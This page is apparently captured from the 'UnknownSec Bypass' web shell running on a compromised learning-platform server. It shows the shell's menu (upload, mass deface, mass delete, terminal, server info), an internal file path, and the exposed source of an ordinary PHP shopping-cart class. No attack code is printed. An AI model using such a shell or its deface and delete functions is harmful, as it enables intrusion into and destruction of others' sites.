UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_13e519f8a16f
/
app
/
Cart
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
Cart.php
<?php namespace EstudioLMS\Cart; /** * Class Cart * @package EstudioLMS\Cart */ class Cart { private $item; /** * Cart constructor. */ public function __construct() { $this->item = null; } /** * Retorna todos os itens de um carrinho de compras * * * @return array|null */ public function getCart() { if (isset($this->item)) { return $this->item; } return null; } /** * @param $field * @return mixed */ public function get($field) { return $this->item[1][$field]; } /** * Adiciona item ao carrinho de compras (Cart) * * * @param $id * @param $name * @param $planId * @param $plan * @param $price * @param $image * @param float|int $discount * @param float $extraAmount * @param int $shippingCode * @param float $shippingPrice * @param bool $subscription * @param int $installments * @param float $instalmentInterest * @param null $couponName * @param null $couponCode * @param null $couponDiscount * @return array */ public function addItem( $id, $name, $planId, $plan, $price, $image, $discount = 0.00, $extraAmount = 0.00, $shippingCode = 0, $shippingPrice = 0.00, $subscription = false, $installments = 1, $instalmentInterest = 0.00, $couponName = null, $couponCode = null, $couponDiscount = null ) { $this->item = [ 1 => [ 'course_id' => $id, 'qtd' => 1, 'price' => $price, 'extra_amount' => $extraAmount, 'name' => $name, 'plan_id' => $planId, 'plan' => $plan, 'image' => $image, 'discount' => $discount, 'shipping_code' => $shippingCode, 'shipping_price' => $shippingPrice, 'subscription' => $subscription, 'installments' => 1, 'installment_interest' => $instalmentInterest, 'coupon_name' => $couponName, 'coupon_code' => $couponCode, 'coupon_discount' => $couponDiscount, ] ]; return $this->item; } /** * @return mixed */ public function getGrossAmount() { return $this->item[1]['price'] + $this->item[1]['extra_amount']; } /** * @return mixed */ public function getDiscountAmount() { return $this->item[1]['discount']; } /** * @return mixed */ public function getExtraAmount() { return $this->item[1]['extra_amount']; } /** * @return mixed */ public function getShippingAmount() { return $this->item[1]['shipping_price']; } /** * @return mixed */ public function getShippingCode() { return $this->item[1]['shipping_code']; } /** * @param $valDiscount * @param null $couponName * @param null $couponCode * @param null $couponDescount * @return array|null */ public function applyCoupon($valDiscount, $couponName = null, $couponCode = null, $couponDescount = null) { $this->item[1]['discount'] = $valDiscount; $this->item[1]['coupon_name'] = $couponName; $this->item[1]['coupon_code'] = $couponCode; $this->item[1]['coupon_discount'] = $couponDescount; return $this->item; } /** * @return mixed */ public function getInstallmentInterest() { if (isset($this->item[1]['installment_interest'])) return $this->item[1]['installment_interest']; else return 0.00; } /** * Remove um carrinho de compras inteiro */ public function destroy() { unset($this->item); $this->item = null; } /** * */ public function removeItem() { $this->item = null; } /** * @return int */ public function count() { if (isset($this->item)) { return count($this->item); } return 0; } /** * @param $installments * @param $amount * @return null */ public function applyInstallment($installments, $amount) { $this->item[1]['installments'] = $installments; $this->item[1]['installment_interest'] = $amount; return $this->item; } }
Copyright © 2026 - UnknownSec